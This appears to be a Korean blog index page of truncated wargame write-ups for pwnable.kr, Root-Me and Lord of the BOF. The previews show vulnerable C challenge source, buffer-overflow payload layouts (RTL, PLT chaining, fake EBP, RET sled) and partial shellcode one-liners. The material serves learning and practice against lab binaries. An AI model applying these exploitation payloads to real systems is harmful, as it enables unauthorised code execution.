목록system hacking (69)
ii4gsp
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/ZL1IA/btqBtX8ASiY/WrvqAwNyU23lIzhEnRoVMK/img.png)
ssh fd@pwnable.kr -p2222로 서버를 접속해주자. 접속 후 파일을 확인해보면 fd, fd.c, flag파일이 보인다. 권한이 없기때문에 flag파일을 볼 수 없다. 소스코드를 보도록 하자. read() 함수에서 첫번째 인자fd가 0이면 표준 입력, 1이면 표준 출력, 2이면 표준 에러가된다. fd는 argv[1]을 통해 입력을 받고 0x1234만큼 뺀다. 0x1234는 10진수로 4660이다. argv[1]에 4660을 넣어주면 4660 - 4660 = 0 임으로 표준 입력을 할 수 있다. buf는 "LETMEWIN"이여야 하며 fd의 값을 0으로 하게 해서 입력을 받도록 하고, LETMEWIN을 입력하면 된다. Flag: mommy! I think I know what a file de..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/sM3WD/btqBGqbRWIi/uZzt5fJXTCWmwuNNKcPkB1/img.png)
#include #include #include #include void shell() { setreuid(geteuid(), geteuid()); system("/bin/bash"); } void sup() { printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n"); } void main() { int var; void (*func)()=sup; char buf[128]; fgets(buf,133,stdin); func(); } fgets()함수에서 취약점이 발생한다. ssh -p 2222 app-systeme-ch15@challenge02.root-me.org password: app-systeme-ch15 ssh서버에 접속해주자. buf 128byte를 채우고 shell()함수..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/KgLaD/btqBGrhw6yL/iR5a5NyvFwvCjCwT2HS7cK/img.png)
#include #include #include #include int main() { int var; int check = 0x04030201; char buf[40]; fgets(buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way!\n"); if (check == 0xdeadbeef) { printf("Yeah dude! You win!\nOpening your shell...\n"); setreuid(geteuid(), geteuid()); system("/bi..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/nuvBr/btqBDXt6Vo7/7kASeCKtS9Kqn9g3xxlVG0/img.png)
stack 영역을 사용할 수 없다. 라이브러리 영역도 사용할 수 없다. 또한 fgets()함수에서 arg로 입력을 받지않고 뜬금없이 stdin으로 입력을 받는다. stdin은 표준입력 파일 스트림이다. stdin은 입력 버퍼를 가지고 있다. 파일 복사 후 gdb로 파일을 열어주자 eax 레지스터에 0x8049a3c가 복사되고 push 된다. 0x8049a3c가 stdin의 주소이다. ret가 실행되기전 부분에 break point를 걸어주고 프로그램 실행 후 값을 넣어주자 stdin+4는 buffer의 end부분을 가리키고 stdin+12는 buffer의 start부분을 가리킨다. buffer의 start부분인 0x40015000을 payload에 사용하면된다. 페이로드는 NOP * 19 + shellc..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/c5JevB/btqBzPnVd9h/sESebyrpHEV6Cn2LbdAHO1/img.png)
주석에 PLT라고 되어있다 RET를 strcpy()함수의 PLT주소로 변조해야 하는 문제이다. strcpy()함수의 PLT주소는 0x08048410이다. 값을 넣어주고 코어파일을 분석해보자 0x41414141가 있는 주소 0xbffffa50과 0x45454545가 있는 주소 0xbffffa5c를 사용할것이다. 페이로드는 buffer + sfp + &strcpy() + dummy + &strcpy() arg1 + &strcpy() arg2 + &shellcode [44byte] [4byte] [4byte] [4byte] [4byte] [4byte] #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘 코드 주소를 구하는 소스코드를..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/Ynxvf/btqBuiyvpKT/HkwDZQ6sBRWXE2ADqgkhe0/img.png)
/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include #include #include // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("wel..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/zT7eA/btqBuQuMfms/QgeY9F2grDsl2ri4JsRB4K/img.png)
주석에 FEBP라고 적혀있다 Fake EBP일것이다. 파일을 복사 후 gdb로 파일을 열어주자 ret가 실행되기전 leave 부분에 break point를 걸어주고 값을 넣어주자 leave - ret Gadget은 0x080484f0이다. 스택을 확인해보면 buffer의 주소는 0xbffffab0이다. 0xbffffab0 + 4 = 0xbffffab4 0xbffffab0 - 4 = 0xbffffaac 페이로드는 &buffer + 4 + dummy + shellcode + &buffer - 4 + leave - ret Gadget [4byte] [11byte] [25byte] [4byte] [4byte] payload ./zombie_assassin $(python -c 'print "\xb4\xfa\xf..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/ctEMoC/btqBuwQe9KK/eJtD9ToYaMkghWHzy89TX0/img.png)
stack을 사용할 수 없고 RTL도 사용불가능이다. RET sled를 사용하여 문제를 풀어보자 gdb로 파일을 열고 ret부분에 break point를 걸고 RET에 RET를 한번더 넣고 NOP Sled와 쉘 코드를 넣어주자 RET에 RET를 넣어주고 0xbffffc0c를 RET로 잡고 페이로드를 작성해주자 buffer + sfp + &ret + 0xbffffc0c + NOP sled + 쉘 코드 [44byte] [4byte] [4byte] [100byte] [25byte] payload ./assassin $(python -c 'print "\x90" * 44 + "\x1e\x85\x04\x08" + "\x0c\xfc\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2..